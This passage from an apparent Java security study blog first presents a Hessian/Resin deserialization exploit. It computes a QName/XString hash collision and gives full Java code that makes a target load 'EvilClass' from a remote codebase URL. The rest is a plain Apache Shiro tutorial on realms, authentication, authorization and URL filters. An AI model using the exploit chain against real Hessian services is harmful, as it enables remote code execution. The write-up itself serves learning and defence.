    11
    12
    13
    14
    private int hash; // Default to 0

    public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
    char val[] = value;

    for (int i = 0; i < value.length; i++) {
    h = 31 * h + val[i];
    }
    hash = h;
    }
    return h;
    }
  • QNamehashCode 实现如下:

    1
    2
    3
    4
    5
    6
    7
    8
    public int hashCode() {
    int hashCode = 337;

    for (int i = size() - 1; i >= 0; i--)
    hashCode = 65521 * hashCode + get(i).hashCode();

    return hashCode;
    }

    因此 QName.hashCode() = 337 * 65521^2 + 65521 * hash(rest) + hash(first) = -662,493,135 + 65521 * hash(rest) + hash(first)

如果我们令 restfirst 均为空串,则 hash(rest) = hash(first) = 0,即 QName.hashCode() = -662,493,135

此时我们只需要寻找一个哈希值为 -662,493,135 的字符串即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static String uppercaseStringWithHash(int target) {
final int base = 'A'; // 65
final int n = 7; // 7 位足够覆盖 2^32
long T = Integer.toUnsignedLong(target);
long term = (pow31(n) - 1) / 30; // 1 + 31 + ... + 31^(n-1)
long s = (T - (long)base * term) & 0xFFFF_FFFFL;
if (s >= pow31(n)) { // 理论上 n=7 不会触发
throw new IllegalArgumentException("increase n");
}
int[] digits = new int[n];
for (int i = n - 1; i >= 0; --i) { // 把 s 用 31 进制拆成恰好 n 位
digits[i] = (int)(s % 31);
s /= 31;
}
char[] chars = new char[n];
for (int i = 0; i < n; i++) chars[i] = (char) (base + digits[i]); // 平移到大写区
return new String(chars);
}
static long pow31(int n) { long p = 1; for (int i = 0; i < n; i++) p *= 31; return p; }

用这个函数计算得:

  • uppercaseStringWithHash( 662_493_135 )"BKIGJUA"
  • uppercaseStringWithHash(-662_493_135 )"EVAEGSR"

因此:

1
2
3
4
5
6
7
8
9
10
// 方案 A:两边哈希都为 0
String first = "BKIGJUA"; // first.hashCode() == 662493135
String rest = ""; // rest.hashCode() == 0
String xVal = ""; // xVal.hashCode() == 0
// new QName(ctx, first, rest).hashCode() == new XString(xVal).hashCode() == 0

// 方案 B:两边哈希都为 C = 337*65521^2
String first2 = ""; // hash == 0
String rest2 = ""; // hash == 0
String xVal2 = "EVAEGSR"; // xVal2.hashCode() == -662493135(即 C)

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.caucho.hessian.client.HessianProxyFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.LinkedHashMap;

public class HessianResin {
public static Object getObject(String url) throws Exception {
XString xString = new XString("EVAEGSR");

Class contextClass = Class.forName("javax.naming.spi.ContinuationContext");
Constructor constructor = contextClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();

Context context = (Context) constructor.newInstance(cpe, new Hashtable());
QName qName = new QName(context, "", "");

System.out.println(qName.hashCode());
System.out.println(xString.hashCode());

HashMap set = new LinkedHashMap();
set.put(qName, 0);
set.put(xString, 0);

cpe.setResolvedObj(new Reference("foo", "EvilClass", url));

return set;
}


public static void main(String[] args) throws Exception {
getObject("http://127.0.0.1:9999/");
HessianProxyFactory factory = new HessianProxyFactory();
HelloService hello = (HelloService) factory.create(
HelloService.class, "http://localhost:8080/hessian/hello");
hello.setObject(getObject("http://127.0.0.1:9999/"));
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

提示

由于 javax.naming.spi.ContinuationContext 没有实现 java.io.Serializable 接口,因此需要在 com.caucho.hessian.io.SerializerFactory#getDefaultSerializer 下断点设置 _isAllowNonSerializabletrue 通过检查:

1
2
3
4
if (! Serializable.class.isAssignableFrom(cl)
&& ! _isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
}

修复情况(< JDK8u191)

这条利用链中的 com.sun.naming.internal.VersionHelper12#loadClass 和 JNDI-LDAP 的远程类加载是同一个函数,在 JDK-8u191 开始该函数增加了 com.sun.jndi.ldap.object.trustURLCodebase 判断导致远程类加载失效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* @param className 必填,目标类的“完全限定名”(FQCN),例如 "com.example.EvilFactory"
* @param codebase 必填,空格分隔的一组 URL 字符串,用作类加载的搜索路径
* 典型来源是 LDAP 条目里的 "javaCodeBase"
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

// 仅当系统属性 com.sun.jndi.ldap.object.trustURLCodebase 被设置为 "true" 时,
// 才允许从任意 URL codebase 下载并加载类(8u191+ 默认是 false)
if ("true".equalsIgnoreCase(trustURLCodebase)) {

// 以“线程上下文类加载器”作为父加载器(TCCL:当前线程关联的 ClassLoader)
ClassLoader parent = getContextClassLoader();

// 基于 codebase 构造一个 URLClassLoader
// 注:getUrlArray(codebase) 会把用空格分隔的多个 URL 解析成 URL[]
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

// 使用上面这个含远程 URL 的 ClassLoader 去加载目标类
// 这个重载通常会调用 Class.forName(className, false, cl) 或等价逻辑
return loadClass(className, cl);

} else {
// 未开启信任远程 codebase:这里直接返回 null,表示“不要做远程加载”
// 上层调用方据此会改走其它路径(例如尝试从本地 classpath 找工厂类,
// 或放弃 Reference 分支并返回/抛错)
return null;
}
}

基于异常反序列化

com.caucho.hessian.io.Hessian2Input#readObject 函数

Kryo

Dubbo

Shiro

Apache Shiro 是一个通用的 Java 安全框架,负责四件事:身份认证(Authentication)访问控制/授权(Authorization)会话管理(Session Management)加解密(Cryptography)

  • Authentication 身份认证:确认“你是谁”。用到下面三个信息:
    • Subject:主体/当事人。发起操作的人或程序线程。
    • Principal:身份标识,要求唯一(如用户名/手机号/邮箱/用户ID)。
    • Credential:凭证,用来证明你是这个身份(如密码、TOTP、证书)。
  • Authorization 访问控制:确认“你能做什么”。三要素:
    • who(谁)→ user/subject,当前操作人
    • what(对什么)→ resource,被访问的资源(接口、菜单、记录等)
    • how(怎么操作)→ permission(操作许可),通常也会通过 role(角色) 来打包一组权限
      • permission:最小粒度的操作许可(Shiro 常用通配权限模型)
      • role:角色(权限的集合,如 admineditor

它既能用于 Web(拦截请求、登录、鉴权),也能用于非 Web 程序(命令行工具、后台任务),因为它不依赖 Servlet 容器自带的 Session。

Shiro 关键组件

Apache Shiro Architecture

Subject

代表“当前主体”。你在业务代码里几乎只和它打交道:

  • Subject.login(token):登录
  • Subject.isAuthenticated():是否已认证
  • Subject.hasRole("admin") / checkRole(...):角色判断
  • Subject.isPermitted("doc:read:123") / checkPermission(...):权限判断
  • Subject.getPrincipal():取出当前用户标识
  • Subject.getSession():拿会话(无论是否 Web)

SecurityManager(安全管理器)

Shiro 的核心枢纽,把具体工作分派给下属模块:Authenticator / Authorizer / SessionManager / …
在 Spring 环境中,它往往是一个单例 Bean(DefaultSecurityManagerDefaultWebSecurityManager)。

Authenticator(认证器)

负责调用一个或多个 Realm 完成认证。多 Realm 时可配置策略:

  • AtLeastOneSuccessfulStrategy(默认,有一个成功即可)
  • FirstSuccessfulStrategy(第一个成功的为准)
  • AllSuccessfulStrategy(全部成功才算通过)

Authorizer(授权器)

根据角色/权限判定是否允许访问。默认实现基于 WildcardPermission 处理你定义的通配权限字符串。

Realm(数据源 + 认证/授权实现)

Realm 是“桥”,把你的存储系统(数据库/LDAP/远程服务)里的用户、角色、权限数据提供给 Shiro。
典型做法:自定义一个 AuthorizingRealm,重写两件事:

  • doGetAuthenticationInfo(token):根据用户名查出哈希后的密码 + 盐,返回 AuthenticationInfo
  • doGetAuthorizationInfo(principals):查出该用户的角色与权限,封装 AuthorizationInfo

CredentialsMatcher:口令校验器。常用 HashedCredentialsMatcher 做 SHA-256/SHA-512 + 盐 + 多轮迭代。若需 bcrypt/argon2,可自定义或用社区扩展。

SessionManager / SessionDAO

Shiro 自带一套与 Servlet 无关的会话管理:

  • SessionManager:控制会话生命周期/超时。
  • SessionDAO:会话存储抽象。可落到内存、数据库、Redis 等(需要相应实现,如社区常用 shiro-redis)。

常见实现:

  • DefaultWebSessionManager:Web 环境下的原生 Shiro 会话(Cookie 名常见 JSESSIONID 或自定义)。
  • ServletContainerSessionManager:直接复用容器会话。
  • 可以添加 SessionListener 监听创建/停用事件。

CacheManager(缓存)

授权信息/会话等做缓存,减少数据库压力。常见:

  • Ehcache、Caffeine、本地 Map 或 Redis 集成
  • 典型用法:授权信息缓存AuthorizationInfo)能明显减少“每次鉴权都查库”的开销

Cryptography(密码学工具)

Shiro 提供常用组件:

  • SimpleHashDefaultPasswordService 等散列/密码服务
  • AesCipherService 等对称加解密
  • SecureRandomNumberGenerator 生成随机盐

用途:安全存储密码、签发/校验 RememberMe Cookie、对敏感数据做加解密

基本使用

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.3</version>
</dependency>

<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.3.2</version>
</dependency>

数据源与 Realm

Shiro 不关心你的用户存在哪(内存、JDBC、Redis、LDAP……),它只跟 Realm 打交道。Realm 就是 Shiro 的“数据源适配器 + 认证/授权规则执行者”。

  • 认证时:它替你去数据源查账号(DB/Redis/LDAP/INI/自写服务),拿回口令散列+盐、账户状态等,让 Shiro 比对登录口令。
  • 授权时:它替你查角色/权限并回传给 Shiro,用来 hasRole() / isPermitted()

我们可以自定义Realm,最常见做法:自定义一个继承 AuthorizingRealm 的类,重写两个方法:

  • doGetAuthenticationInfo(...) → 登陆时调用;
  • doGetAuthorizationInfo(...) → 首次做角色/权限判断时调用并缓存。

“数据源”与实体

首先先定义实体与“数据源”接口(可换成 JDBC/ORM):

1
2
3
4
5
6
7
8
9
10
11
// User.java
public class User {
public final String username;
public final String passwordHash; // 存散列
public final String salt; // 存随机盐
public final boolean locked;

public User(String u, String h, String s, boolean locked) {
this.username = u; this.passwordHash = h; this.salt = s; this.locked = locked;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// UserService.java(演示:内存模拟,换成 JDBC 也行)
import java.util.*;

public class UserService {
// 假装是数据库:用户名 -> User
private final Map<String, User> table = new HashMap<>();

public void save(User u) { table.put(u.username, u); }
public User findByUsername(String u) { return table.get(u); }

// 角色、权限(真实项目你会从表里查)
public Set<String> rolesOf(String username) {
if ("admin".equals(username)) return new HashSet<>(Arrays.asList("admin", "op"));
return new HashSet<>(Collections.singletonList("user"));
}
public Set<String> permsOf(String username) {
if ("admin".equals(username)) return new HashSet<>(Arrays.asList("doc:read", "doc:write", "user:*"));
return new HashSet<>(Collections.singletonList("doc:read"));
}
}

自定义 Realm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// MyRealm.java
import org.apache.shiro.authc.*;
import org.apache.shiro.authc.credential.HashedCredentialsMatcher;
import org.apache.shiro.authz.*;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
import org.apache.shiro.util.ByteSource;

public class MyRealm extends AuthorizingRealm {
private final UserService userService;

public MyRealm(UserService userService) {
this.userService = userService;
// 配置口令校验(SHA-256 + 1024 次迭代,十六进制存储)
HashedCredentialsMatcher matcher = new HashedCredentialsMatcher("SHA-256");
matcher.setHashIterations(1024);
matcher.setStoredCredentialsHexEncoded(true);
setCredentialsMatcher(matcher);
}

// 授权:给角色/权限
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
String username = (String) principals.getPrimaryPrincipal();
SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
info.setRoles(userService.rolesOf(username));
info.setStringPermissions(userService.permsOf(username));
return info;
}

// 认证:取出散列、盐、状态
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
UsernamePasswordToken up = (UsernamePasswordToken) token;
User u = userService.findByUsername(up.getUsername());
if (u == null) throw new UnknownAccountException();
if (u.locked) throw new LockedAccountException();
return new SimpleAuthenticationInfo(
u.username,
u.passwordHash,
ByteSource.Util.bytes(u.salt),
getName()
);
}
}

Realm 使用

我们可以通过下面的代码模拟 Shiro 的身份认证和访问控制过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// App.java
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.*;
import org.apache.shiro.crypto.SecureRandomNumberGenerator;
import org.apache.shiro.crypto.hash.SimpleHash;
import org.apache.shiro.mgt.DefaultSecurityManager;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.ByteSource;

public class App {
// 生成并“入库”(演示)
static User createUser(String username, String plain) {
String salt = new SecureRandomNumberGenerator().nextBytes().toHex();
String hash = new SimpleHash("SHA-256", plain, ByteSource.Util.bytes(salt), 1024).toHex();
return new User(username, hash, salt, false);
}

public static void main(String[] args) {
// “建库”
UserService repo = new UserService();
repo.save(createUser("admin", "123456"));
repo.save(createUser("alice", "hello"));

// 安装 SecurityManager
MyRealm realm = new MyRealm(repo);
DefaultSecurityManager sm = new DefaultSecurityManager(realm);
SecurityUtils.setSecurityManager(sm);

// 登录
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken("admin", "123456");
try {
subject.login(token);
System.out.println("Login OK? " + subject.isAuthenticated()); // true

// 访问控制
System.out.println("hasRole(admin)? " + subject.hasRole("admin"));
System.out.println("isPermitted(doc:write)? " + subject.isPermitted("doc:write"));

// 必要时强校验(失败抛异常)
subject.checkRole("admin");
subject.checkPermission("doc:read");
} catch (UnknownAccountException | IncorrectCredentialsException e) {
System.out.println("用户名或口令错误");
} catch (LockedAccountException e) {
System.out.println("账户被锁定");
} catch (AuthenticationException e) {
System.out.println("其他认证失败: " + e.getClass().getSimpleName());
} finally {
subject.logout();
}
}
}

身份认证

使用自定义 Realm

Shiro 的认证核心是三件事:Subject(当前用户)、SecurityManager(安全总管)、Realm(拿你的用户/密码/角色/权限数据)。基本流程是:

  1. 提供 Realm(你实现或内置),它负责“查出正确答案”(口令散列/盐、账户状态)。

    1
    MyRealm realm = new MyRealm(repo);
  2. 准备 SecurityManager → 绑定到 SecurityUtils

    1
    2
    DefaultSecurityManager sm = new DefaultSecurityManager(realm);
    SecurityUtils.setSecurityManager(sm);
  3. SecurityUtils 里获取 Subjectsubject.login(new UsernamePasswordToken(u,p))

    1
    2
    3
    Subject subject = SecurityUtils.getSubject();
    UsernamePasswordToken token = new UsernamePasswordToken("admin", "123456");
    subject.login(token);

使用内置 Realm

不用自定义 Realm 时,可直接用 IniRealm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.config.IniSecurityManagerFactory;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.Factory;

public class AuthDemo {
public static void main(String[] args) {
Factory<SecurityManager> factory = new IniSecurityManagerFactory("classpath:shiro.ini");
SecurityManager securityManager = factory.getInstance();
SecurityUtils.setSecurityManager(securityManager);

Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken("admin", "123456");
try {
subject.login(token); // 成功:无返回;失败:抛异常
System.out.println("Login Success: " + subject.isAuthenticated());
} catch (AuthenticationException e) {
System.out.println("Login Failure: " + e.getClass().getSimpleName());
}
}
}

resources/shiro.ini 中存放明文口令:

1
2
3
4
5
6
7
8
[users]
admin = password123, adminRole
alice = alicePwd, userRole
bob = secret, userRole

[roles]
adminRole = *
userRole = doc:read,doc:write

读取 shiro.ini 文件。如果其中有 [users] 段,IniSecurityManagerFactory 会创建一个 IniRealmorg.apache.shiro.realm.text.IniRealm),把 [users] 列表里的账号密码加载进内存;这就是“认证的数据来源”。

认证过程分析

认证过程调用栈如下:

1
2
3
4
5
6
7
8
at MyRealm.doGetAuthenticationInfo(MyRealm.java:34)
at org.apache.shiro.realm.AuthenticatingRealm.getAuthenticationInfo(AuthenticatingRealm.java:568)
at org.apache.shiro.authc.pam.ModularRealmAuthenticator.doSingleRealmAuthentication(ModularRealmAuthenticator.java:180)
at org.apache.shiro.authc.pam.ModularRealmAuthenticator.doAuthenticate(ModularRealmAuthenticator.java:267)
at org.apache.shiro.authc.AbstractAuthenticator.authenticate(AbstractAuthenticator.java:198)
at org.apache.shiro.mgt.AuthenticatingSecurityManager.authenticate(AuthenticatingSecurityManager.java:106)
at org.apache.shiro.mgt.DefaultSecurityManager.login(DefaultSecurityManager.java:270)
at org.apache.shiro.subject.support.DelegatingSubject.login(DelegatingSubject.java:256)

org.apache.shiro.authc.pam.ModularRealmAuthenticator#doAuthenticate 判断是单个数据源还是多个数据源。

1
2
3
4
5
6
7
8
9
protected AuthenticationInfo doAuthenticate(AuthenticationToken authenticationToken) throws AuthenticationException {
assertRealmsConfigured();
Collection<Realm> realms = getRealms();
if (realms.size() == 1) {
return doSingleRealmAuthentication(realms.iterator().next(), authenticationToken);
} else {
return doMultiRealmAuthentication(realms, authenticationToken);
}
}

无论是哪一种,最后都会调用 org.apache.shiro.realm.AuthenticatingRealm#getAuthenticationInfo 进行认证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/**
* 实现流程说明:
* <ol>
* <li>首先尝试从缓存中获取与给定 {@link AuthenticationToken} 对应的
* {@link AuthenticationInfo}。如果命中,将直接使用该信息进行凭据匹配,
* 从而避免访问后端数据源。</li>
* <li>若缓存未命中,则委托调用
* {@link #doGetAuthenticationInfo(org.apache.shiro.authc.AuthenticationToken)}
* 执行实际查找;若启用了认证信息缓存且允许缓存,则会调用
* {@link #cacheAuthenticationInfoIfPossible(org.apache.shiro.authc.AuthenticationToken, org.apache.shiro.authc.AuthenticationInfo)}
* 将查到的结果写入缓存,以便后续复用。</li>
* <li>如果无论缓存还是查找都未得到 AuthenticationInfo,则返回 {@code null},
* 表示找不到该账户。</li>
* <li>一旦获得 AuthenticationInfo(无论来自缓存还是查找),将使用
* {@link #getCredentialsMatcher() credentialsMatcher} 对提交的
* AuthenticationToken 中的凭据与期望凭据进行匹配校验。也就是说,
* 每次认证尝试都会进行凭据校验。</li>
* </ol>
*
* @param token 提交的账户标识与凭据(例如用户名/口令等)。
* @return 与给定 {@code token} 对应的 AuthenticationInfo;若未找到则返回 {@code null}。
* @throws AuthenticationException 当认证失败(例如凭据不匹配、账户状态异常等)时抛出。
*/
public final AuthenticationInfo getAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {

// 1) 优先从认证信息缓存中获取(例如 Ehcache/Redis 等实现)
AuthenticationInfo info = getCachedAuthenticationInfo(token);
if (info == null) {
// 2) 缓存未命中:执行实际的数据源查找(由具体 Realm 的 doGetAuthenticationInfo 实现)
info = doGetAuthenticationInfo(token);
log.debug("Looked up AuthenticationInfo [{}] from doGetAuthenticationInfo", info);
if (token != null && info != null) {
// 3) 若启用并允许缓存,则将查到的认证信息写入缓存,便于后续快速命中
cacheAuthenticationInfoIfPossible(token, info);
}
} else {
// 缓存命中:直接复用缓存的认证信息进行后续凭据匹配
log.debug("Using cached authentication info [{}] to perform credentials matching.", info);
}

if (info != null) {
// 4) 无论来源(缓存/查找),只要拿到了 AuthenticationInfo,就执行凭据匹配校验
// 实际匹配逻辑由 CredentialsMatcher(如 HashedCredentialsMatcher)完成
assertCredentialsMatch(token, info);
} else {
// 未找到账户:返回 null(上层通常会据此抛 UnknownAccountException 等)
log.debug("No AuthenticationInfo found for submitted AuthenticationToken [{}]. Returning null.", token);
}

return info;
}

doGetAuthenticationInfo 返回的 SimpleAuthenticationInfo 中存储着根据用户登录信息查询到的经过哈希的凭据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 构造函数:接收账户的“主身份(primary principal)”、其对应的已散列凭据(hashed credentials),
* 用于散列的盐(salt),以及与该身份关联的 Realm 名称。
* <p>
* 这是一个便捷构造器:会基于传入的 {@code principal} 与 {@code realmName}
* 自动构造 {@link PrincipalCollection} 实例。
* <p>
* 注意:
* <ul>
* <li>{@code hashedCredentials} 必须是“已散列后的凭据”(非明文),常见为十六进制或 Base64 编码的散列值;</li>
* <li>{@code credentialsSalt} 为散列时使用的盐值({@link ByteSource}),应与注册/入库时使用的盐一致;</li>
* <li>与 {@link org.apache.shiro.authc.credential.HashedCredentialsMatcher HashedCredentialsMatcher}
* 配合使用时,需确保算法、迭代次数、编码方式与存储策略一致。</li>
* </ul>
*
* @param principal 与指定 Realm 关联的“主身份”对象(例如用户名、用户ID等)
* @param hashedCredentials 用于校验该身份的“已散列凭据”(非明文;通常为 hex 或 Base64 字符串,也可为字节数组)
* @param credentialsSalt 计算 {@code hashedCredentials} 时使用的盐({@link ByteSource})
* @param realmName 该 principal 与凭据来源的 Realm 名称
* @since 1.1
*/
public SimpleAuthenticationInfo(Object principal,
Object hashedCredentials,
ByteSource credentialsSalt,
String realmName) {
this.principals = new SimplePrincipalCollection(principal, realmName);
this.credentials = hashedCredentials;
this.credentialsSalt = credentialsSalt;
}

assertCredentialsMatch 完成用户登录信息 AuthenticationToken 与根据用户信息查询到的 AuthenticationInfo 直接的比较。实际上是调用 CredentialsMatcher#doCredentialsMatch 进行比较的,比较时会将用户登录信息哈希计算后再跟 AuthenticationInfo 中的经过哈希的凭据比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/**
* 断言提交的 {@code AuthenticationToken} 中的凭据与账户已存储的
* {@code AuthenticationInfo} 中的凭据相匹配;若不匹配则抛出 {@link AuthenticationException}。
*
* <p>实现要点:
* <ol>
* <li>通过 {@link #getCredentialsMatcher()} 获取当前配置的 {@link CredentialsMatcher};</li>
* <li>若已配置匹配器,则调用其 {@link CredentialsMatcher#doCredentialsMatch(AuthenticationToken, AuthenticationInfo)}
* 对提交凭据与存储凭据进行比对;</li>
* <li>比对失败时抛出 {@link IncorrectCredentialsException};</li>
* <li>若未配置任何匹配器,则抛出 {@link AuthenticationException},提示必须配置
* {@code CredentialsMatcher}(若希望跳过校验,可使用 {@link AllowAllCredentialsMatcher})。</li>
* </ol>
*
* @param token 提交的认证令牌(包含主体标识与原始凭据,如密码)
* @param info 与该 {@code token} 对应的账户认证信息(通常包含散列后凭据与盐等)
* @throws AuthenticationException 当未配置匹配器或凭据不匹配时抛出;
* 其中不匹配场景具体为 {@link IncorrectCredentialsException}。
*/
protected void assertCredentialsMatch(AuthenticationToken token, AuthenticationInfo info) throws AuthenticationException {
// 取出当前配置的凭据匹配器(例如 HashedCredentialsMatcher)
CredentialsMatcher cm = getCredentialsMatcher();
if (cm != null) {
// 使用匹配器比对提交凭据与账户已存储凭据
if (!cm.doCredentialsMatch(token, info)) {
// 比对失败 —— 抛出“凭据不正确”异常
String msg = "Submitted credentials for token [" + token + "] did not match the expected credentials.";
throw new IncorrectCredentialsException(msg);
}
} else {
// 未配置匹配器 —— 无法进行凭据校验,直接抛出异常并给出配置建议
throw new AuthenticationException(
"A CredentialsMatcher must be configured in order to verify credentials during authentication. " +
"If you do not wish for credentials to be examined, you can configure an " +
AllowAllCredentialsMatcher.class.getName() + " instance."
);
}
}

访问控制

Shiro 的授权核心是用户(Subject)→ 角色(Role)→ 权限(Permission)

  • 用户(Subject)当前正在与系统交互的用户主体。
  • 角色(Role) 更像“身份标签”,例如:adminusermanager 等。
  • 权限(Permission) 是具体的“能做什么”操作,Shiro 推荐使用 WildcardPermission 表达。

WildcardPermission 表达式规则为:资源:动作:实例,用逗号 , 表示并集,用 * 表示通配符。

例如:

  • "doc:read,write:*" 表示对所有文档实例都有读和写权限;
  • "user:*" 表示对用户资源的所有操作权限。

程序式授权(API 方式)

在现有的 App.java 中登录成功后,可以通过如下 API 实现访问控制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Subject subject = SecurityUtils.getSubject();

// 角色判断
boolean isAdmin = subject.hasRole("admin"); // 单个
boolean hasAll = subject.hasAllRoles(Arrays.asList("admin", "op")); // AND
boolean any = subject.hasRole("admin") || subject.hasRole("op"); // OR(手写)

// 权限判断(WildcardPermission 字符串)
boolean canRead = subject.isPermitted("doc:read"); // 资源:动作
boolean canWrite = subject.isPermitted("doc:write"); // 资源:动作
boolean canEditOwnDoc = subject.isPermitted("doc:write:123"); // 到实例级

// 强制校验(不满足直接抛 AuthorizationException)
subject.checkRole("admin");
subject.checkPermissions("doc:read", "doc:write");

WildcardPermission 扩展规则

  • "doc:read,write:123" 等同于同时具有 doc:read:123doc:write:123 两个权限。
  • 使用 * 表示“全部”资源或动作,例 "doc:*:*" 表示所有文档的全部权限。

注解式授权(方法/控制器上)

Shiro 提供一系列注解(@RequiresAuthentication, @RequiresRoles, @RequiresPermissions 等),配合 AOP,可直接在方法或控制器入口处声明权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.shiro.authz.annotation.*;

@RequiresAuthentication // 必须已登录(当前会话有效)
public class DocumentService {

// 角色 OR 权限 AND(默认语义)
@RequiresRoles(value = {"admin", "op"}, logical = Logical.OR)
@RequiresPermissions("doc:write")
public void updateDoc(String id, String content) {
// 更新文档逻辑
}

// 权限 OR 判断(至少具备一种即可)
@RequiresPermissions(value = {"doc:read", "doc:preview"}, logical = Logical.OR)
public String view(String id) {
// 查看文档逻辑
}
}
  • 在 Spring Boot 项目中,使用 shiro-spring-boot-web-starter 时,上述注解默认已启用,无需额外配置。
  • Jakarta EE 环境可引入 shiro-jakarta-ee 模块,使上述注解支持 CDI/EJB。
  • 注解中的 @RequiresRoles@RequiresPermissions 默认采用 AND 语义;若需要 OR 语义,必须明确设置 logical = Logical.OR

URL 级拦截(Filter Chain)

Web 应用可通过 [urls] 配置段(INI 文件)或 Java/Spring 配置(如 ShiroFilterChainDefinition Bean)来定义 URL 与权限规则之间的关系:

shiro.ini 配置示例
1
2
3
4
5
6
7
8
9
10
11
12
[urls]
# 静态资源与公开页面无需登录
/assets/** = anon
/login = anon
/logout = logout

# 接口授权规则
/api/docs/** = authc, perms["doc:read"]
/api/admin/** = authc, roles[admin]

# 所有其他资源必须登录
/** = authc

URL 匹配规则说明:

  • URL 匹配采用“先声明先匹配(First Match Wins)”原则,更具体的规则应写在前面。

  • Shiro 内置的常用过滤器:

    • anon:匿名访问
    • authc:认证后可访问(需要登录)
    • user:登录或记住我后可访问
    • roles[...]:需要特定角色(多个角色默认 AND 语义)
    • perms[...]:需要特定权限(多个权限默认 AND 语义)
    • logout:登出处理
Spring Boot 下的配置

在 Spring Boot 环境中,定义如下 Java 配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
@Configuration
class ShiroConfig {
@Bean
ShiroFilterChainDefinition shiroFilterChainDefinition() {
var chain = new DefaultShiroFilterChainDefinition();
chain.addPathDefinition("/assets/**", "anon");
chain.addPathDefinition("/logout", "logout");
chain.addPathDefinition("/api/docs/**", "authc, perms[\"doc:read\"]");
chain.addPathDefinition("/api/admin/**", "authc, roles[admin]");
chain.addPathDefinition("/**", "authc");
return chain;
}
}
  • 在使用 shiro-spring-boot-web-starter 的场景中,必须至少提供一个 ShiroFilterChainDefinition Bean 来定义 URL 拦截规则。
  • 此 Bean 可与其他 Shiro 组件(如 Realm、SessionManager、SecurityManager)共同定义在同一个 ShiroConfig 类中。

集成到 Java Web 项目

集成到 Servlet 容器

web.xml 接入

把 Shiro 的环境监听器与过滤器挂上去。放在 WEB-INF/web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="3.0">

<!-- 1) 加载 Shiro WebEnvironment(默认会找 classpath:/shiro.ini 或 /WEB-INF/shiro.ini) -->
<listener>
<listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
</listener>

<!-- 可选:指定 ini 配置位置(多个以逗号分隔),不写则走默认查找规则 -->
<context-param>
<param-name>shiroConfigLocations</param-name>
<param-value>classpath:shiro.ini, /WEB-INF/shiro.ini</param-value>
</context-param>

<!-- 2) 所有请求交给 ShiroFilter 做 URL 级访问控制 -->
<filter>
<filter-name>ShiroFilter</filter-name>
<filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>ShiroFilter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
<dispatcher>INCLUDE</dispatcher>
<dispatcher>ERROR</dispatcher>
</filter-mapping>

</web-app>

顺序要点:ShiroFilter 要在你应用里其他“需要被保护”的 Servlet/Filter 前执行(通常放最前)。
JettyTomcat 一致,因为它们都遵守 web.xml 规范。

shiro.ini 配置
